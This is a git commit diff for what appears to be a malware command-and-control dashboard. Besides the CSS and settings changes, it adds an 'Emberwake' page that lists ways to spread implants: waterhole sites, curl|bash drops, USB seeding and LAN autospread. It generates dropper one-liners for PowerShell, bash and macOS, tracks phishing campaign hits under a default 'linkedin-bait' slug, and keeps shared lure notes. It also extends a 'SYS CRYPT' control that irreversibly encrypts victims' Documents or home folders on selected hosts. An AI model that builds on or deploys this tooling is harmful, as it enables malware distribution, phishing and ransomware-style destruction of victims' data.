feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -40,6 +40,10 @@
|
||||
.bm-loading {
|
||||
padding: 2rem;
|
||||
text-align: center;
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
background: rgba(8, 6, 4, 0.45);
|
||||
box-shadow: var(--shadow-panel);
|
||||
}
|
||||
|
||||
/* ── card grid ── */
|
||||
|
||||
@@ -42,6 +42,7 @@ import {
|
||||
defaultRunnerName,
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
|
||||
import './Pages.css';
|
||||
|
||||
export function formatBytes(n: number): string {
|
||||
@@ -158,6 +159,7 @@ export default function BuilderPage() {
|
||||
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
|
||||
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
@@ -1025,6 +1027,7 @@ export default function BuilderPage() {
|
||||
|
||||
<div className="card builder-form">
|
||||
{simpleMode ? (
|
||||
<>
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
@@ -1032,6 +1035,30 @@ export default function BuilderPage() {
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Spread profile presets</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{SPREAD_PROFILES.map((p) => (
|
||||
<button
|
||||
key={p.id}
|
||||
type="button"
|
||||
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
|
||||
style={{ borderColor: spreadProfile === p.id ? p.color : undefined, color: spreadProfile === p.id ? p.color : undefined }}
|
||||
title={p.blurb}
|
||||
onClick={() => {
|
||||
setSpreadProfile(p.id);
|
||||
if (form) setForm(applySpreadProfile(form, p.id));
|
||||
}}
|
||||
>
|
||||
{p.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
{spreadProfile && (
|
||||
<p className="form-hint">{SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb}</p>
|
||||
)}
|
||||
</div>
|
||||
</>
|
||||
) : (
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
|
||||
@@ -486,6 +486,145 @@
|
||||
|
||||
.cop-shell { grid-column: 1 / -1; }
|
||||
|
||||
.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
|
||||
.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
|
||||
.cop-network .crucible-op-btn {
|
||||
border-color: rgba(58, 134, 255, 0.28);
|
||||
color: rgba(120, 180, 255, 0.95);
|
||||
}
|
||||
.cop-network .crucible-op-btn:hover:not(:disabled) {
|
||||
background: rgba(58, 134, 255, 0.1);
|
||||
border-color: #3a86ff;
|
||||
box-shadow: 0 0 9px -2px rgba(58, 134, 255, 0.4);
|
||||
}
|
||||
|
||||
.cop-persist { border-color: rgba(255, 45, 166, 0.18); }
|
||||
.cop-persist .cop-label { color: rgba(255, 45, 166, 0.75); border-bottom-color: rgba(255, 45, 166, 0.12); }
|
||||
.cop-persist .crucible-op-btn {
|
||||
border-color: rgba(255, 45, 166, 0.28);
|
||||
color: rgba(255, 120, 200, 0.95);
|
||||
}
|
||||
|
||||
.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
|
||||
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
|
||||
|
||||
.crucible-op-collapsible .cop-toggle {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
cursor: pointer;
|
||||
text-align: left;
|
||||
}
|
||||
.crucible-op-collapsible .cop-toggle .cop-label {
|
||||
border-bottom: none;
|
||||
margin-bottom: 0;
|
||||
padding-bottom: 0;
|
||||
}
|
||||
.crucible-op-collapsible .cop-chevron {
|
||||
font-size: 0.65rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
.crucible-op-collapsible .cop-body {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.45rem;
|
||||
}
|
||||
|
||||
.crucible-inline-row,
|
||||
.crucible-camera-row,
|
||||
.crucible-upgrade-row {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
align-items: center;
|
||||
}
|
||||
.crucible-inline-input,
|
||||
.crucible-inline-select {
|
||||
flex: 1;
|
||||
min-width: 120px;
|
||||
padding: 0.3rem 0.5rem;
|
||||
background: #0d0d1a;
|
||||
border: 1px solid #333;
|
||||
color: #ddd;
|
||||
border-radius: 3px;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
.crucible-registry-panel {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
.crucible-op-active {
|
||||
background: rgba(0, 245, 255, 0.12) !important;
|
||||
border-color: var(--neon-cyan) !important;
|
||||
color: var(--neon-cyan) !important;
|
||||
}
|
||||
.crucible-op-soon {
|
||||
opacity: 0.45 !important;
|
||||
font-size: 0.72rem !important;
|
||||
}
|
||||
.crucible-coming-soon-row {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.25rem;
|
||||
border-top: 1px dashed rgba(255, 255, 255, 0.08);
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.crucible-portfwd-matrix {
|
||||
width: 100%;
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
.crucible-portfwd-body {
|
||||
margin-top: 0.4rem;
|
||||
padding: 0.5rem;
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 6px;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
}
|
||||
|
||||
.crucible-portfwd-grid {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.crucible-portfwd-row {
|
||||
display: grid;
|
||||
grid-template-columns: 5rem 1fr 6rem 2rem;
|
||||
gap: 0.35rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.crucible-portfwd-head {
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.08em;
|
||||
color: var(--text-muted);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.crucible-phase-c-row {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.35rem;
|
||||
border-top: 1px dashed rgba(255, 255, 255, 0.08);
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
/* ── Op buttons ──────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-op-btn {
|
||||
|
||||
@@ -14,7 +14,9 @@ import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
|
||||
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import FileManager from '../components/Fleet/FileManager';
|
||||
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
|
||||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||||
import './CruciblePage.css';
|
||||
@@ -365,6 +367,28 @@ export default function CruciblePage() {
|
||||
|
||||
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||||
|
||||
const encryptTargets = useMemo(
|
||||
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
|
||||
[selectedAgents]
|
||||
);
|
||||
|
||||
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
|
||||
|
||||
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: 'local',
|
||||
agentName: 'YOU',
|
||||
isCmd,
|
||||
text,
|
||||
ts: new Date(),
|
||||
targeted: true,
|
||||
},
|
||||
].slice(-2000));
|
||||
}, []);
|
||||
|
||||
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||||
const crucibleTargetReady =
|
||||
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||||
@@ -1153,6 +1177,29 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<CrucibleExpandedOps
|
||||
selectedAgents={selectedAgents}
|
||||
selectedCount={selectedIds.size}
|
||||
singleSelectedAgent={singleSelectedAgent}
|
||||
commandResults={commandResults}
|
||||
onEcho={appendTerminalLine}
|
||||
onAgentError={(agentId, agentName, action, err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId,
|
||||
agentName,
|
||||
isCmd: false,
|
||||
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
targeted: true,
|
||||
},
|
||||
]);
|
||||
}}
|
||||
/>
|
||||
|
||||
{/* ── SSH ──────────────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-ssh">
|
||||
<span className="cop-label">SSH</span>
|
||||
@@ -1239,13 +1286,13 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── Sys Crypt ────────────────────────────────── */}
|
||||
{/* ── Sys Crypt + remote browser ───────────────── */}
|
||||
<div className="crucible-op-group cop-destructive">
|
||||
<span className="cop-label">⚠ Destructive</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
|
||||
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
|
||||
style={{
|
||||
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
|
||||
border: '1px solid #ff2222',
|
||||
@@ -1254,7 +1301,7 @@ export default function CruciblePage() {
|
||||
letterSpacing: '0.06em',
|
||||
}}
|
||||
onClick={() => {
|
||||
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||||
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||||
Promise.all(
|
||||
selectedAgents.filter(online).map((a) =>
|
||||
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
|
||||
@@ -1269,19 +1316,29 @@ export default function CruciblePage() {
|
||||
})
|
||||
)
|
||||
);
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
|
||||
}}
|
||||
>
|
||||
🔒 SYS CRYPT ({selectedIds.size})
|
||||
</button>
|
||||
{browseAgent && selectedIds.size > 0 ? (
|
||||
<>
|
||||
{selectedIds.size > 1 && (
|
||||
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
|
||||
Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).
|
||||
</p>
|
||||
)}
|
||||
<RemoteDirBrowser
|
||||
agentId={browseAgent.id}
|
||||
agentName={browseAgent.name}
|
||||
platform={browseAgent.platform}
|
||||
online={online(browseAgent)}
|
||||
encryptTargets={encryptTargets}
|
||||
commandResults={fmCommandResults}
|
||||
onTerminalLine={appendTerminalLine}
|
||||
/>
|
||||
</>
|
||||
) : null}
|
||||
</div>
|
||||
|
||||
{/* ── SUPP Seek Mode ───────────────────────────── */}
|
||||
|
||||
51
server/web/src/pages/EmberwakePage.css
Normal file
51
server/web/src/pages/EmberwakePage.css
Normal file
@@ -0,0 +1,51 @@
|
||||
.emberwake-page .spread-section {
|
||||
margin-bottom: 1.5rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border-radius: 8px;
|
||||
border: 1px solid #2a3040;
|
||||
background: linear-gradient(135deg, #12161f 0%, #0d1018 100%);
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section h3 {
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--cyan { border-left: 4px solid #3dd6c6; }
|
||||
.emberwake-page .spread-section--ember { border-left: 4px solid #ff6b2c; }
|
||||
.emberwake-page .spread-section--gold { border-left: 4px solid #c9a227; }
|
||||
.emberwake-page .spread-section--violet { border-left: 4px solid #a78bfa; }
|
||||
|
||||
.emberwake-tool-grid {
|
||||
display: grid;
|
||||
gap: 0.75rem;
|
||||
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
|
||||
}
|
||||
|
||||
.emberwake-notes {
|
||||
min-height: 120px;
|
||||
width: 100%;
|
||||
font-family: ui-monospace, monospace;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.emberwake-campaign-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.emberwake-campaign-list li {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
padding: 0.35rem 0;
|
||||
border-bottom: 1px solid #222a38;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.emberwake-ab-row {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
238
server/web/src/pages/EmberwakePage.tsx
Normal file
238
server/web/src/pages/EmberwakePage.tsx
Normal file
@@ -0,0 +1,238 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
ps1Oneliner,
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
{ok ? 'Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
export default function EmberwakePage() {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const [campaign, setCampaign] = useState('linkedin-bait');
|
||||
const [pinA, setPinA] = useState('');
|
||||
const [pinB, setPinB] = useState('');
|
||||
const [notes, setNotes] = useState('');
|
||||
const [notesMeta, setNotesMeta] = useState('');
|
||||
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
|
||||
const [exportBusy, setExportBusy] = useState(false);
|
||||
const [notesBusy, setNotesBusy] = useState(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
const [b, info, cfg, pub, camp, n] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo(),
|
||||
api.getConfig(),
|
||||
api.listPublicBuilds(),
|
||||
api.listCampaignHits(),
|
||||
api.getEmberwakeNotes(),
|
||||
]);
|
||||
setBuilds(b);
|
||||
const pubUrl = cfg.server?.public_url?.trim();
|
||||
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||||
setPublicBuilds(pub.builds);
|
||||
setCampaigns(camp.campaigns);
|
||||
setNotes(n.content);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
if (!pinA) {
|
||||
const p = b.find((x) => x.pinned);
|
||||
if (p) setPinA(p.id);
|
||||
}
|
||||
if (!pinB && b.length > 1) {
|
||||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||||
if (alt) setPinB(alt.id);
|
||||
}
|
||||
}, [pinA, pinB]);
|
||||
|
||||
useEffect(() => {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
if (latestMessage?.type !== 'emberwake_notes_updated') return;
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
}
|
||||
}, [latestMessage]);
|
||||
|
||||
const saveNotes = async () => {
|
||||
setNotesBusy(true);
|
||||
try {
|
||||
const n = await api.putEmberwakeNotes(notes);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
} finally {
|
||||
setNotesBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const exportKit = async () => {
|
||||
setExportBusy(true);
|
||||
try {
|
||||
await api.exportSpreadKit({
|
||||
build_id: pinA || pinned[0]?.id || '',
|
||||
server_url: serverBase,
|
||||
campaign,
|
||||
});
|
||||
} finally {
|
||||
setExportBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page emberwake-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
<h1>Emberwake</h1>
|
||||
<p className="page-subtitle">
|
||||
Carry embers from the forge — web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="spread-section spread-section--ember">
|
||||
<h3>How to spread</h3>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
|
||||
<li><strong>Web waterhole</strong> — export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
|
||||
<li><strong>curl | bash VPS</strong> — paste one-liners below on a headless server session.</li>
|
||||
<li><strong>Fusion media</strong> — forge Desktop Fusion profile, seed USB or shared folders.</li>
|
||||
<li><strong>LAN kindling</strong> — universal spread kit + autospread; deploy.bat on reachable hosts.</li>
|
||||
<li><strong>A/B droppers</strong> — pin build A vs B; rotate campaign links between waves.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="card" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||||
</div>
|
||||
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Build A (pin)</label>
|
||||
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||||
))}
|
||||
</select>
|
||||
<label className="label">Build B (A/B)</label>
|
||||
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||||
<option value="">—</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="emberwake-tool-grid">
|
||||
<div>
|
||||
<p className="form-hint">PowerShell</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
|
||||
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">bash</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">macOS</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
|
||||
</div>
|
||||
</div>
|
||||
{pinB && (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
A/B link B: <code>{serverBase}/get{queryB}</code>
|
||||
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--gold">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||||
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
|
||||
<strong>{b.worker_name}</strong> ({b.platform})
|
||||
{' — '}
|
||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||||
public download
|
||||
</a>
|
||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{campaigns.length > 0 && (
|
||||
<div className="spread-section spread-section--violet">
|
||||
<h3>Campaign hits</h3>
|
||||
<ul className="emberwake-campaign-list">
|
||||
{campaigns.map((c) => (
|
||||
<li key={c.campaign}>
|
||||
<span><code>{c.campaign}</code></span>
|
||||
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="card">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
<textarea
|
||||
className="input emberwake-notes"
|
||||
rows={6}
|
||||
value={notes}
|
||||
onChange={(e) => setNotes(e.target.value)}
|
||||
placeholder="Paste lure copy, host paths, rotation schedule…"
|
||||
/>
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
{notesBusy ? 'Saving…' : 'Save notes'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -442,13 +442,15 @@
|
||||
}
|
||||
|
||||
.form-section {
|
||||
margin-bottom: 1.5rem;
|
||||
padding-bottom: 1.5rem;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
margin-bottom: 1.25rem;
|
||||
padding: 1rem 1.1rem 1.25rem;
|
||||
border: 1px solid var(--border-dim);
|
||||
border-radius: 2px;
|
||||
background: rgba(8, 6, 4, 0.35);
|
||||
}
|
||||
|
||||
.form-section:last-of-type {
|
||||
border-bottom: none;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.form-section h3 {
|
||||
@@ -560,8 +562,9 @@
|
||||
|
||||
.build-item {
|
||||
padding: 0.75rem;
|
||||
background: var(--bg-secondary);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 6, 4, 0.55);
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.build-item-name {
|
||||
@@ -1329,6 +1332,12 @@ button.deliverable-card .form-hint {
|
||||
border: 1px solid rgba(212, 175, 55, 0.25);
|
||||
}
|
||||
|
||||
.fusion-estimate-panel {
|
||||
padding: 1rem 1.1rem;
|
||||
margin-top: 0.75rem;
|
||||
border: 1px solid rgba(212, 175, 55, 0.28);
|
||||
}
|
||||
|
||||
.batch-forge-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
|
||||
@@ -394,10 +394,11 @@
|
||||
}
|
||||
|
||||
.pt-section-panel {
|
||||
background: rgba(0,0,0,0.25);
|
||||
border: 1px solid rgba(0,255,170,0.08);
|
||||
border-radius: 10px;
|
||||
background: rgba(8, 6, 4, 0.45);
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
padding: 1rem;
|
||||
box-shadow: var(--shadow-panel);
|
||||
}
|
||||
|
||||
/* Spinner */
|
||||
|
||||
@@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, within } from '@testing-library/react
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import SettingsPage, { deepMerge } from './SettingsPage';
|
||||
import { SoundProvider } from '../context/SoundContext';
|
||||
import { AmbientMusicProvider } from '../context/AmbientMusicContext';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
@@ -13,7 +14,9 @@ import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
function renderSettings() {
|
||||
return render(
|
||||
<SoundProvider>
|
||||
<SettingsPage />
|
||||
<AmbientMusicProvider>
|
||||
<SettingsPage />
|
||||
</AmbientMusicProvider>
|
||||
</SoundProvider>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -19,6 +19,8 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
|
||||
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { useAmbientMusic } from '../context/AmbientMusicContext';
|
||||
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
|
||||
import { useVisualEffects } from '../context/VisualEffectsContext';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -46,7 +48,19 @@ export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
}
|
||||
|
||||
export default function SettingsPage() {
|
||||
const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound();
|
||||
const {
|
||||
enabled: sfxEnabled,
|
||||
volume: sfxVolume,
|
||||
hoverEnabled,
|
||||
hoverVolume,
|
||||
setEnabled: setSfxEnabled,
|
||||
setVolume: setSfxVolume,
|
||||
setHoverEnabled,
|
||||
setHoverVolume,
|
||||
preview: previewSfx,
|
||||
previewHover,
|
||||
} = useSound();
|
||||
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
|
||||
const { glowParticles, setGlowParticles } = useVisualEffects();
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
